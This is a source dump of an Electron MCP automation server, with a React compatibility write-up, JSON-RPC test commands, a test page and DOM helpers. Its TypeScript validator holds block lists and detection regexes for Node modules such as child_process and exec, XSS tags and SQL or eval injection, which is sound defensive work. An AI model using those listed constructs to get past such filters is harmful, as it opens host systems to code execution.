      '=', // Assignments (but not comparison)
      ';', // Statement separators
      '{', // Code blocks
      'return', // Return statements
    ];

    return jsIndicators.some((indicator) => command.includes(indicator));
  }

  /**
   * Checks if a command is a simple command name (not JavaScript code)
   * @param command The command to check
   * @returns true if it's a simple command name
   */
  private isSimpleCommandName(command: string): boolean {
    // Simple command names are typically:
    // - Single words or snake_case/kebab-case
    // - No spaces except between simple arguments
    // - No JavaScript syntax

    const simpleCommandPattern = /^[a-zA-Z_][a-zA-Z0-9_-]*(\s+[a-zA-Z0-9_-]+)*$/;
    return simpleCommandPattern.test(command.trim());
  }
}

// Global security manager instance
export const securityManager = new SecurityManager();

```

--------------------------------------------------------------------------------
/REACT_COMPATIBILITY_ISSUES.md:
--------------------------------------------------------------------------------

```markdown
# React Compatibility Issues Documentation

This document provides concrete examples of React compatibility issues with the Electron MCP Server, including exact commands, error outputs, and technical details for debugging.

## Issue 1: Click Commands Fail with preventDefault

### Problem Description
React components that call `e.preventDefault()` in click handlers cause MCP click commands to report false failures, even though the click actually works correctly.

### Technical Details
- **Affected Commands**: `click_by_text`, `click_by_selector`
- **Error Location**: `src/utils/electron-commands.ts` line 496-499
- **Root Cause**: `dispatchEvent()` returns `false` when `preventDefault()` is called, which was incorrectly treated as a failure

### Reproduction Steps

#### 1. Target Application Setup
React component with preventDefault:
```jsx
const handleClick = (e) => {
  e.preventDefault(); // This causes the MCP failure
  console.log('Button clicked successfully');
};

<button id="react-button" onClick={handleClick}>
  React Button
</button>
```

#### 2. MCP Command
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node dist/index.js
```

#### 3. Error Output (Before Fix)
```
[MCP] INFO: Tool call: send_command_to_electron
[MCP] INFO: Secure execution started [session-id] { command: 'click_by_text', operationType: 'command' }
[MCP] INFO: Security Event [command]: SUCCESS { sessionId: 'session-id', riskLevel: 'low', executionTime: 2 }
[MCP] INFO: Secure execution completed [session-id] { success: true, executionTime: 2, riskLevel: 'low' }
{"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1}
```

#### 4. Browser Console (Proof Click Works)
```
React button clicked successfully
Global click detected: {target: "BUTTON", id: "react-button", defaultPrevented: true, bubbles: true, cancelable: true}
```

#### 5. Success Output (After Fix)
```
[MCP] INFO: Tool call: send_command_to_electron
[MCP] INFO: Secure execution started [session-id] { command: 'click_by_text', operationType: 'command' }
[MCP] INFO: Security Event [command]: SUCCESS { sessionId: 'session-id', riskLevel: 'low', executionTime: 2 }
[MCP] INFO: Secure execution completed [session-id] { success: true, executionTime: 2, riskLevel: 'low' }
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully clicked element (score: 113.27586206896552): \"React Button (preventDefault)\" - searched for: \"React Button\""}],"isError":false},"jsonrpc":"2.0","id":1}
```

### Code Fix Applied
**File**: `src/utils/electron-commands.ts`
**Lines Removed** (496-499):
```typescript
if (!clickSuccessful) {
  throw new Error('Click events were cancelled by the page');
}
```

**Explanation**: `preventDefault()` is normal React behavior and doesn't indicate a failed click.

---

## Issue 2: Form Input Detection Working Correctly

### Problem Description (Original Report)
Original report claimed: "fill_input commands return 'No suitable input found' despite inputs being visible in get_page_structure output."

### Investigation Results
**Status**: ✅ **RESOLVED** - Issue was incorrectly reported. Form input detection works perfectly.

### Technical Details
- **Affected Commands**: `fill_input`
- **Scoring Algorithm**: `src/utils/electron-input-commands.ts` lines 180-217
- **Actual Status**: Working correctly for React-rendered inputs

### Test Results

#### 1. Page Structure Detection
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
```

**Output**:
```json
{
  "result": {
    "content": [{
      "type": "text",
      "text": "✅ Command executed: {\n  \"inputs\": [\n    {\n      \"type\": \"text\",\n      \"placeholder\": \"Enter username...\",\n      \"label\": \"Username:\",\n      \"id\": \"username\",\n      \"name\": \"username\",\n      \"visible\": true\n    },\n    {\n      \"type\": \"email\",\n      \"placeholder\": \"[email protected]\",\n      \"label\": \"Email:\",\n      \"id\": \"email\",\n      \"name\": \"email\",\n      \"visible\": true\n    },\n    {\n      \"type\": \"password\",\n      \"placeholder\": \"Enter password...\",\n      \"label\": \"Password:\",\n      \"id\": \"password\",\n      \"name\": \"password\",\n      \"visible\": true\n    },\n    {\n      \"type\": \"number\",\n      \"placeholder\": \"25\",\n      \"label\": \"Age:\",\n      \"id\": \"age\",\n      \"name\": \"age\",\n      \"visible\": true\n    },\n    {\n      \"type\": \"textarea\",\n      \"placeholder\": \"Enter your comments...\",\n      \"label\": \"Comments:\",\n      \"id\": \"comments\",\n      \"name\": \"comments\",\n      \"visible\": true\n    }\n  ]\n}"
    }],
    "isError": false
  }
}
```

#### 2. Text Input Fill Test
```bash
echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "john_doe"}}}}' | node dist/index.js
```

**Output**:
```json
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Username:\" with: \"john_doe\""}],"isError":false},"jsonrpc":"2.0","id":2}
```

#### 3. Email Input Fill Test
```bash
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "email", "value": "[email protected]"}}}}' | node dist/index.js
```

**Output**:
```json
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Email:\" with: \"[email protected]\""}],"isError":false},"jsonrpc":"2.0","id":3}
```

#### 4. Selector-Based Fill Test
```bash
echo '{"jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"selector": "#username", "value": "updated_username"}}}}' | node dist/index.js
```

**Output**:
```json
{"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Username:\" with: \"updated_username\""}],"isError":false},"jsonrpc":"2.0","id":4}
```

### Scoring Algorithm Details
The scoring algorithm in `electron-input-commands.ts` successfully matches inputs by:

1. **Exact text matches** (100 points): label, placeholder, name, id
2. **Partial text matching** (50 points): contains search term
3. **Fuzzy matching** (25 points): similarity calculation
4. **Visibility bonus** (20 points): visible and enabled inputs
5. **Input type bonus** (10 points): text/password/email inputs

---

## Testing Commands Reference

### Complete Test Sequence

#### 1. Start Test Environment
```bash
# Start React test application
npm run test:react

# Or manually:
cd tests/integration/react-compatibility
electron test-react-electron.cjs
```

#### 2. Basic Connectivity Test
```bash
echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "get_electron_window_info", "arguments": {}}}' | node dist/index.js
```

#### 3. Page Structure Analysis
```bash
echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
```

#### 4. Click Command Tests
```bash
# React button with preventDefault
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node dist/index.js

# Normal button
echo '{"jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Normal Button"}}}}' | node dist/index.js

# Submit button
echo '{"jsonrpc": "2.0", "id": 5, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit Form"}}}}' | node dist/index.js
```

#### 5. Form Input Tests
```bash
# Username field
echo '{"jsonrpc": "2.0", "id": 6, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js

# Email field
echo '{"jsonrpc": "2.0", "id": 7, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "email", "value": "[email protected]"}}}}' | node dist/index.js

# Password field
echo '{"jsonrpc": "2.0", "id": 8, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "password", "value": "secretpass"}}}}' | node dist/index.js

# Number field
echo '{"jsonrpc": "2.0", "id": 9, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "age", "value": "25"}}}}' | node dist/index.js

# Textarea
echo '{"jsonrpc": "2.0", "id": 10, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "comments", "value": "Test comment"}}}}' | node dist/index.js
```

#### 6. Visual Verification
```bash
echo '{"jsonrpc": "2.0", "id": 11, "method": "tools/call", "params": {"name": "take_screenshot", "arguments": {}}}' | node dist/index.js
```

### Expected Results Summary
- ✅ All click commands should succeed (preventDefault fix applied)
- ✅ All form inputs should be detected and filled successfully  
- ✅ No "Click events were cancelled by the page" errors
- ✅ No "No suitable input found" errors
- ✅ Page structure should show all React-rendered elements

```

--------------------------------------------------------------------------------
/src/security/validation.ts:
--------------------------------------------------------------------------------

```typescript
import { z } from 'zod';
import { logger } from '../utils/logger';
import { SecurityLevel, SECURITY_PROFILES, getDefaultSecurityLevel } from './config';

// Input validation schemas
export const SecureCommandSchema = z.object({
  command: z.string().min(1).max(10000),
  args: z.any().optional(),
  sessionId: z.string().optional(),
});

export interface ValidationResult {
  isValid: boolean;
  errors: string[];
  sanitizedInput?: any;
  riskLevel: 'low' | 'medium' | 'high' | 'critical';
}

export class InputValidator {
  private static securityLevel: SecurityLevel = getDefaultSecurityLevel();

  static setSecurityLevel(level: SecurityLevel) {
    this.securityLevel = level;
    logger.info(`Security level changed to: ${level}`);
  }

  static getSecurityLevel(): SecurityLevel {
    return this.securityLevel;
  }

  private static readonly DANGEROUS_KEYWORDS = [
    'Function',
    'constructor',
    '__proto__',
    'prototype',
    'process',
    'require',
    'import',
    'fs',
    'child_process',
    'exec',
    'spawn',
    'fork',
    'cluster',
    'worker_threads',
    'vm',
    'repl',
    'readline',
    'crypto',
    'http',
    'https',
    'net',
    'dgram',
    'tls',
    'url',
    'querystring',
    'path',
    'os',
    'util',
    'events',
    'stream',
    'buffer',
    'timers',
    'setImmediate',
    'clearImmediate',
    'setTimeout',
    'clearTimeout',
    'setInterval',
    'clearInterval',
    'global',
    'globalThis',
  ];

  private static readonly XSS_PATTERNS = [
    /<script[^>]*>[\s\S]*?<\/script>/gi,
    /javascript:/gi,
    /on\w+\s*=/gi,
    /<iframe[^>]*>/gi,
    /<object[^>]*>/gi,
    /<embed[^>]*>/gi,
    /<link[^>]*>/gi,
    /<meta[^>]*>/gi,
  ];

  private static readonly INJECTION_PATTERNS = [
    /['"];\s*(?:drop|delete|insert|update|select|union|exec|execute)\s+/gi,
    /\$\{[^}]*\}/g, // Template literal injection
    /`[^`]*`/g, // Backtick strings
    /eval\s*\(/gi,
    /new\s+Function\s*\(/gi, // Function constructor only, not function expressions
    /window\s*\[\s*['"]Function['"]\s*\]/gi, // Dynamic function access
  ];

  static validateCommand(input: unknown): ValidationResult {
    try {
      // Parse and validate structure
      const parsed = SecureCommandSchema.parse(input);

      const result: ValidationResult = {
        isValid: true,
        errors: [],
        sanitizedInput: parsed,
        riskLevel: 'low',
      };

      // Validate command content
      let commandValidation;
      if (parsed.command === 'eval' && parsed.args) {
        // Special validation for eval commands - validate the code being executed
        commandValidation = this.validateEvalContent(String(parsed.args));
      } else {
        commandValidation = this.validateCommandContent(parsed.command);
      }
      result.errors.push(...commandValidation.errors);
      result.riskLevel = this.calculateRiskLevel(commandValidation.riskFactors);

      // Sanitize the command
      result.sanitizedInput.command = this.sanitizeCommand(parsed.command);

      result.isValid = result.errors.length === 0 && result.riskLevel !== 'critical';

      return result;
    } catch (error) {
      return {
        isValid: false,
        errors: [
          `Invalid input structure: ${error instanceof Error ? error.message : String(error)}`,
        ],
        riskLevel: 'high',
      };
    }
  }

  private static validateCommandContent(command: string): {
    errors: string[];
    riskFactors: string[];
  } {
    const errors: string[] = [];
    const riskFactors: string[] = [];

    // Check for dangerous keywords, but allow legitimate function expressions
    for (const keyword of this.DANGEROUS_KEYWORDS) {
      const regex = new RegExp(`\\b${keyword}\\b`, 'gi');
      if (regex.test(command)) {
        // Special handling for 'Function' keyword
        if (keyword === 'Function') {
          // Allow function expressions that start with ( like (function() {})()
          // Also allow function declarations like function name() {}
          // But block Function constructor calls
          const isFunctionExpression = /^\s*\(\s*function\s*\(/.test(command.trim());
          const isFunctionDeclaration = /^\s*function\s+\w+\s*\(/.test(command.trim());
          const isFunctionConstructor =
            /(?:new\s+Function\s*\(|(?:window\.|global\.)?Function\s*\()/gi.test(command);

          if (isFunctionConstructor && !isFunctionExpression && !isFunctionDeclaration) {
            errors.push(`Dangerous keyword detected: ${keyword}`);
            riskFactors.push(`dangerous_keyword_${keyword}`);
          }
          // Skip adding error for legitimate function expressions/declarations
        } else {
          errors.push(`Dangerous keyword detected: ${keyword}`);
          riskFactors.push(`dangerous_keyword_${keyword}`);
        }
      }
    }

    // Check for XSS patterns
    for (const pattern of this.XSS_PATTERNS) {
      if (pattern.test(command)) {
        errors.push(`Potential XSS pattern detected`);
        riskFactors.push('xss_pattern');
      }
    }

    // Check for injection patterns
    for (const pattern of this.INJECTION_PATTERNS) {
      if (pattern.test(command)) {
        errors.push(`Potential code injection detected`);
        riskFactors.push('injection_pattern');
      }
    }

    // Check command length
    if (command.length > 5000) {
      errors.push(`Command too long (${command.length} chars, max 5000)`);
      riskFactors.push('excessive_length');
    }

    // Check for obfuscation attempts
    const obfuscationScore = this.calculateObfuscationScore(command);
    if (obfuscationScore > 0.7) {
      errors.push(`Potential code obfuscation detected (score: ${obfuscationScore.toFixed(2)})`);
      riskFactors.push('obfuscation');
    }

    return { errors, riskFactors };
  }

  /**
   * Special validation for eval commands - validates the actual code to be executed
   */
  private static validateEvalContent(code: string): {
    errors: string[];
    riskFactors: string[];
  } {
    const errors: string[] = [];
    const riskFactors: string[] = [];
    const profile = SECURITY_PROFILES[this.securityLevel];

    // Allow simple safe operations
    const safePatterns = [
      /^document\.(title|location|URL|domain)$/,
      /^window\.(location|navigator|screen)$/,
      /^Math\.\w+$/,
      /^Date\.\w+$/,
      /^JSON\.(parse|stringify)$/,
      /^[\w.[\]'"]+$/, // Simple property access
    ];

    // Allow DOM queries based on security level
    const domQueryPatterns = profile.allowDOMQueries
      ? [
          /^document\.querySelector\([^)]+\)$/, // Simple querySelector without function calls
          /^document\.querySelectorAll\([^)]+\)$/, // Simple querySelectorAll
          /^document\.getElementById\([^)]+\)$/, // getElementById
          /^document\.getElementsByClassName\([^)]+\)$/, // getElementsByClassName
          /^document\.getElementsByTagName\([^)]+\)$/, // getElementsByTagName
          /^document\.activeElement$/, // Check active element
        ]
      : [];

    // Allow UI interactions based on security level
    const uiInteractionPatterns = profile.allowUIInteractions
      ? [
          /^window\.getComputedStyle\([^)]+\)$/, // Get computed styles
          /^[\w.]+\.(textContent|innerText|innerHTML|value|checked|selected|disabled|hidden)$/, // Property access
          /^[\w.]+\.(clientWidth|clientHeight|offsetWidth|offsetHeight|getBoundingClientRect)$/, // Size/position
          /^[\w.]+\.(focus|blur|scrollIntoView)\(\)$/, // UI methods
        ]
      : [];

    // Check if it's a safe pattern
    const isSafe =
      safePatterns.some((pattern) => pattern.test(code.trim())) ||
      domQueryPatterns.some((pattern) => pattern.test(code.trim())) ||
      uiInteractionPatterns.some((pattern) => pattern.test(code.trim()));

    if (!isSafe) {
      // Check for dangerous keywords in eval content
      for (const keyword of this.DANGEROUS_KEYWORDS) {
        const regex = new RegExp(`\\b${keyword}\\b`, 'gi');
        if (regex.test(code)) {
          errors.push(`Dangerous keyword detected in eval: ${keyword}`);
          riskFactors.push(`eval_dangerous_keyword_${keyword}`);
        }
      }

      // Check for function calls based on security profile
      const hasFunctionCall = /\(\s*\)|\w+\s*\(/.test(code);
      if (hasFunctionCall) {
        // Extract function name
        const functionMatch = code.match(/(\w+)\s*\(/);
        const functionName = functionMatch ? functionMatch[1] : '';

        // Check if function is allowed
        const isAllowedFunction =
          profile.allowFunctionCalls.includes('*') ||
          profile.allowFunctionCalls.some(
            (allowed) => functionName.includes(allowed) || code.includes(allowed + '('),
          );

        if (!isAllowedFunction) {
          errors.push(`Function calls in eval are restricted (${functionName})`);
          riskFactors.push('eval_function_call');
        }
      }

      // Check for assignment operations based on security profile
      if (/=(?!=)/.test(code) && !profile.allowAssignments) {
        errors.push(`Assignment operations in eval are restricted`);
        riskFactors.push('eval_assignment');
      }
    }

    return { errors, riskFactors };
  }

  private static calculateObfuscationScore(code: string): number {
    let score = 0;
    const length = code.length;

    if (length === 0) return 0;

    // Check for excessive special characters
    const specialChars = (code.match(/[^a-zA-Z0-9\s]/g) || []).length;
    const specialCharRatio = specialChars / length;
    if (specialCharRatio > 0.3) score += 0.3;

    // Check for excessive parentheses/brackets
    const brackets = (code.match(/[(){}[\]]/g) || []).length;
    const bracketRatio = brackets / length;
    if (bracketRatio > 0.2) score += 0.2;

    // Check for encoded content
    if (/\\x[0-9a-fA-F]{2}/.test(code)) score += 0.2;
    if (/\\u[0-9a-fA-F]{4}/.test(code)) score += 0.2;
    if (/\\[0-7]{3}/.test(code)) score += 0.1;

    // Check for string concatenation patterns
    const concatPatterns = (code.match(/\+\s*["'`]/g) || []).length;
    if (concatPatterns > 5) score += 0.2;

    return Math.min(score, 1.0);
  }

  private static calculateRiskLevel(riskFactors: string[]): 'low' | 'medium' | 'high' | 'critical' {
    const criticalFactors = riskFactors.filter(
      (f) => f.includes('dangerous_keyword') || f.includes('injection_pattern'),
    );

    const highFactors = riskFactors.filter(
      (f) => f.includes('xss_pattern') || f.includes('obfuscation'),
    );

    if (criticalFactors.length > 0) return 'critical';
    if (highFactors.length > 0 || riskFactors.length > 3) return 'high';
    if (riskFactors.length > 1) return 'medium';
    return 'low';
  }

  private static sanitizeCommand(command: string): string {
    // Remove dangerous patterns
    let sanitized = command;

    // Remove HTML/script tags
    sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
    sanitized = sanitized.replace(/<[^>]*>/g, '');

    // Remove javascript: URLs
    sanitized = sanitized.replace(/javascript:/gi, '');

    // For code execution, don't HTML-escape quotes as it breaks JavaScript syntax
    // Just remove dangerous URL schemes and HTML tags

    return sanitized;
  }
}

```

--------------------------------------------------------------------------------
/tests/integration/react-compatibility/react-test-app.html:
--------------------------------------------------------------------------------

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>React Click Test App</title>
    <script crossorigin src="https://unpkg.com/react@18/umd/react.development.js"></script>
    <script crossorigin src="https://unpkg.com/react-dom@18/umd/react-dom.development.js"></script>
    <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
    <style>
        body { 
            font-family: Arial, sans-serif; 
            padding: 20px; 
            background: #f5f5f5;
        }
        .container {
            max-width: 600px;
            margin: 0 auto;
            background: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        .button { 
            padding: 12px 24px; 
            margin: 10px; 
            background: #007acc; 
            color: white; 
            border: none; 
            cursor: pointer; 
            border-radius: 6px;
            font-size: 16px;
            transition: background 0.2s;
        }
        .button:hover { 
            background: #005a9e; 
        }
        .button.success {
            background: #28a745;
        }
        .button.success:hover {
            background: #218838;
        }
        .result { 
            margin: 20px 0; 
            padding: 15px; 
            background: #e9ecef; 
            border-radius: 4px;
            min-height: 50px;
            border-left: 4px solid #007acc;
        }
        .counter {
            display: inline-block;
            background: #17a2b8;
            color: white;
            padding: 5px 10px;
            border-radius: 15px;
            font-weight: bold;
            margin-left: 10px;
        }
    </style>
</head>
<body>
    <div id="root"></div>

    <script type="text/babel">
        const { useState, useEffect } = React;

        function ReactClickTestApp() {
            const [message, setMessage] = useState('Welcome! Click any button to test...');
            const [counter, setCounter] = useState(0);

            // This is the typical React button that causes the MCP click issue
            const handleReactButtonClick = (e) => {
                e.preventDefault(); // This is what causes the MCP issue!
                setMessage('React button clicked! (preventDefault was called)');
                setCounter(prev => prev + 1);
                console.log('React button clicked with preventDefault');
            };

            // Normal button without preventDefault
            const handleNormalButtonClick = (e) => {
                setMessage('Normal button clicked! (no preventDefault)');
                setCounter(prev => prev + 1);
                console.log('Normal button clicked without preventDefault');
            };

            // Button that calls stopPropagation
            const handleStopPropagationClick = (e) => {
                e.stopPropagation();
                setMessage('Stop propagation button clicked!');
                setCounter(prev => prev + 1);
                console.log('Button clicked with stopPropagation');
            };

            // Form submit handler (typical React pattern)
            const handleFormSubmit = (e) => {
                e.preventDefault(); // Standard form handling
                setMessage('Form submitted! (preventDefault called on form)');
                setCounter(prev => prev + 1);
                console.log('Form submitted with preventDefault');
            };

            return (
                <div className="container">
                    <h1>React Click Test Application</h1>
                    <p>This app demonstrates the React click issue with MCP Server</p>
                    
                    <div className="result">
                        <strong>Status:</strong> {message}
                        {counter > 0 && <span className="counter">{counter} clicks</span>}
                    </div>

                    <div>
                        <h3>Test Buttons:</h3>
                        
                        {/* This button will fail with MCP due to preventDefault */}
                        <button 
                            id="react-button" 
                            className="button" 
                            onClick={handleReactButtonClick}
                        >
                            React Button (preventDefault)
                        </button>

                        {/* This button should work with MCP */}
                        <button 
                            id="normal-button" 
                            className="button success" 
                            onClick={handleNormalButtonClick}
                        >
                            Normal Button (no preventDefault)
                        </button>

                        {/* This button uses stopPropagation */}
                        <button 
                            id="stop-prop-button" 
                            className="button" 
                            onClick={handleStopPropagationClick}
                        >
                            Stop Propagation Button
                        </button>
                    </div>

                    <div>
                        <h3>Test Form (Input Detection):</h3>
                        <form onSubmit={handleFormSubmit}>
                            <div style={{marginBottom: '15px'}}>
                                <label htmlFor="username" style={{display: 'block', marginBottom: '5px'}}>Username:</label>
                                <input 
                                    id="username"
                                    name="username"
                                    type="text" 
                                    placeholder="Enter username..." 
                                    style={{
                                        padding: '8px 12px',
                                        border: '1px solid #ccc',
                                        borderRadius: '4px',
                                        fontSize: '16px',
                                        width: '200px'
                                    }}
                                />
                            </div>
                            
                            <div style={{marginBottom: '15px'}}>
                                <label htmlFor="email" style={{display: 'block', marginBottom: '5px'}}>Email:</label>
                                <input 
                                    id="email"
                                    name="email"
                                    type="email" 
                                    placeholder="[email protected]" 
                                    style={{
                                        padding: '8px 12px',
                                        border: '1px solid #ccc',
                                        borderRadius: '4px',
                                        fontSize: '16px',
                                        width: '200px'
                                    }}
                                />
                            </div>

                            <div style={{marginBottom: '15px'}}>
                                <label htmlFor="password" style={{display: 'block', marginBottom: '5px'}}>Password:</label>
                                <input 
                                    id="password"
                                    name="password"
                                    type="password" 
                                    placeholder="Enter password..." 
                                    style={{
                                        padding: '8px 12px',
                                        border: '1px solid #ccc',
                                        borderRadius: '4px',
                                        fontSize: '16px',
                                        width: '200px'
                                    }}
                                />
                            </div>

                            <div style={{marginBottom: '15px'}}>
                                <label htmlFor="age" style={{display: 'block', marginBottom: '5px'}}>Age:</label>
                                <input 
                                    id="age"
                                    name="age"
                                    type="number" 
                                    placeholder="25" 
                                    style={{
                                        padding: '8px 12px',
                                        border: '1px solid #ccc',
                                        borderRadius: '4px',
                                        fontSize: '16px',
                                        width: '100px'
                                    }}
                                />
                            </div>

                            <div style={{marginBottom: '15px'}}>
                                <label htmlFor="comments" style={{display: 'block', marginBottom: '5px'}}>Comments:</label>
                                <textarea 
                                    id="comments"
                                    name="comments"
                                    placeholder="Enter your comments..." 
                                    rows="3"
                                    style={{
                                        padding: '8px 12px',
                                        border: '1px solid #ccc',
                                        borderRadius: '4px',
                                        fontSize: '16px',
                                        width: '300px',
                                        resize: 'vertical'
                                    }}
                                />
                            </div>

                            <button 
                                type="submit" 
                                id="submit-button"
                                className="button"
                            >
                                Submit Form (preventDefault)
                            </button>
                        </form>
                    </div>

                    <div style={{marginTop: '30px', fontSize: '14px', color: '#666'}}>
                        <p><strong>Instructions for MCP Testing:</strong></p>
                        <ul>
                            <li>Try clicking "React Button" - this should work now (fix applied)</li>
                            <li>Try clicking "Normal Button" - this should work fine</li>
                            <li>Try clicking "Submit Form" - this should work now (fix applied)</li>
                            <li>Try fill_input on username, email, password, age, comments fields</li>
                            <li>Check browser console for click events</li>
                            <li>Use get_page_structure to see if inputs are detected</li>
                        </ul>
                    </div>
                </div>
            );
        }

        // Render the React app
        ReactDOM.render(<ReactClickTestApp />, document.getElementById('root'));

        // Add global click listener to monitor all clicks
        document.addEventListener('click', (e) => {
            console.log('Global click detected:', {
                target: e.target.tagName,
                id: e.target.id,
                defaultPrevented: e.defaultPrevented,
                bubbles: e.bubbles,
                cancelable: e.cancelable
            });
        });
    </script>
</body>
</html>

```

--------------------------------------------------------------------------------
/src/utils/electron-commands.ts:
--------------------------------------------------------------------------------

```typescript
/**
 * Enhanced Electron interaction commands for React-based applications
 * Addresses common issues with form interactions, event handling, and state management
 */

/**
 * Securely escape text input for JavaScript code generation
 */
function escapeJavaScriptString(input: string): string {
  // Use JSON.stringify for proper escaping of quotes, newlines, and special characters
  return JSON.stringify(input);
}

/**
 * Validate text input for potential security issues
 */
function validateTextInput(text: string): {
  isValid: boolean;
  sanitized: string;
  warnings: string[];
} {
  const warnings: string[] = [];
  let sanitized = text;

  // Check for suspicious patterns
  if (text.includes('javascript:')) warnings.push('Contains javascript: protocol');
  if (text.includes('<script')) warnings.push('Contains script tags');
  if (text.match(/['"]\s*;\s*/)) warnings.push('Contains potential code injection');
  if (text.length > 1000) warnings.push('Input text is unusually long');

  // Basic sanitization - remove potentially dangerous content
  sanitized = sanitized.replace(/javascript:/gi, '');
  sanitized = sanitized.replace(/<script[^>]*>.*?<\/script>/gi, '');
  sanitized = sanitized.substring(0, 1000); // Limit length

  return {
    isValid: warnings.length === 0,
    sanitized,
    warnings,
  };
}

export interface ElementAnalysis {
  element?: Element;
  tag: string;
  text: string;
  id: string;
  className: string;
  name: string;
  placeholder: string;
  type: string;
  value: string;
  ariaLabel: string;
  ariaRole: string;
  title: string;
  href: string;
  src: string;
  alt: string;
  position: {
    x: number;
    y: number;
    width: number;
    height: number;
  };
  isVisible: boolean;
  isInteractive: boolean;
  zIndex: number;
  backgroundColor: string;
  color: string;
  fontSize: string;
  fontWeight: string;
  cursor: string;
  context: string;
  selector: string;
  xpath: string;
}

export interface PageAnalysis {
  clickable: ElementAnalysis[];
  inputs: ElementAnalysis[];
  links: ElementAnalysis[];
  images: ElementAnalysis[];
  text: ElementAnalysis[];
  containers: ElementAnalysis[];
  metadata: {
    totalElements: number;
    visibleElements: number;
    interactiveElements: number;
    pageTitle: string;
    pageUrl: string;
    viewport: {
      width: number;
      height: number;
    };
  };
}

/**
 * Generate the enhanced find_elements command with deep DOM analysis
 */
export function generateFindElementsCommand(): string {
  return `
    (function() {
      // Deep DOM analysis functions
      function analyzeElement(el) {
        const rect = el.getBoundingClientRect();
        const style = getComputedStyle(el);
        
        return {
          tag: el.tagName.toLowerCase(),
          text: (el.textContent || '').trim().substring(0, 100),
          id: el.id || '',
          className: el.className || '',
          name: el.name || '',
          placeholder: el.placeholder || '',
          type: el.type || '',
          value: el.value || '',
          ariaLabel: el.getAttribute('aria-label') || '',
          ariaRole: el.getAttribute('role') || '',
          title: el.title || '',
          href: el.href || '',
          src: el.src || '',
          alt: el.alt || '',
          position: { 
            x: Math.round(rect.left), 
            y: Math.round(rect.top), 
            width: Math.round(rect.width), 
            height: Math.round(rect.height) 
          },
          isVisible: rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden' && style.opacity > 0,
          isInteractive: isInteractiveElement(el),
          zIndex: parseInt(style.zIndex) || 0,
          backgroundColor: style.backgroundColor,
          color: style.color,
          fontSize: style.fontSize,
          fontWeight: style.fontWeight,
          cursor: style.cursor,
          context: getElementContext(el),
          selector: generateSelector(el),
          xpath: generateXPath(el)
        };
      }
      
      function isInteractiveElement(el) {
        const interactiveTags = ['BUTTON', 'A', 'INPUT', 'SELECT', 'TEXTAREA'];
        const interactiveTypes = ['button', 'submit', 'reset', 'checkbox', 'radio'];
        const interactiveRoles = ['button', 'link', 'menuitem', 'tab', 'option'];
        
        return interactiveTags.includes(el.tagName) ||
               interactiveTypes.includes(el.type) ||
               interactiveRoles.includes(el.getAttribute('role')) ||
               el.hasAttribute('onclick') ||
               el.hasAttribute('onsubmit') ||
               el.getAttribute('contenteditable') === 'true' ||
               getComputedStyle(el).cursor === 'pointer';
      }
      
      function getElementContext(el) {
        const context = [];
        
        // Get form context
        const form = el.closest('form');
        if (form) {
          const formTitle = form.querySelector('h1, h2, h3, h4, h5, h6, .title');
          if (formTitle) context.push('Form: ' + formTitle.textContent.trim().substring(0, 50));
        }
        
        // Get parent container context
        const container = el.closest('section, article, div[class*="container"], div[class*="card"], div[class*="panel"]');
        if (container && container !== form) {
          const heading = container.querySelector('h1, h2, h3, h4, h5, h6, .title, .heading');
          if (heading) context.push('Container: ' + heading.textContent.trim().substring(0, 50));
        }
        
        // Get nearby labels
        const label = findElementLabel(el);
        if (label) context.push('Label: ' + label.substring(0, 50));
        
        return context.join(' | ');
      }
      
      function findElementLabel(el) {
        // For inputs, find associated label
        if (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA' || el.tagName === 'SELECT') {
          if (el.id) {
            const label = document.querySelector(\`label[for="\${el.id}"]\`);
            if (label) return label.textContent.trim();
          }
          
          // Check if nested in label
          const parentLabel = el.closest('label');
          if (parentLabel) return parentLabel.textContent.trim();
          
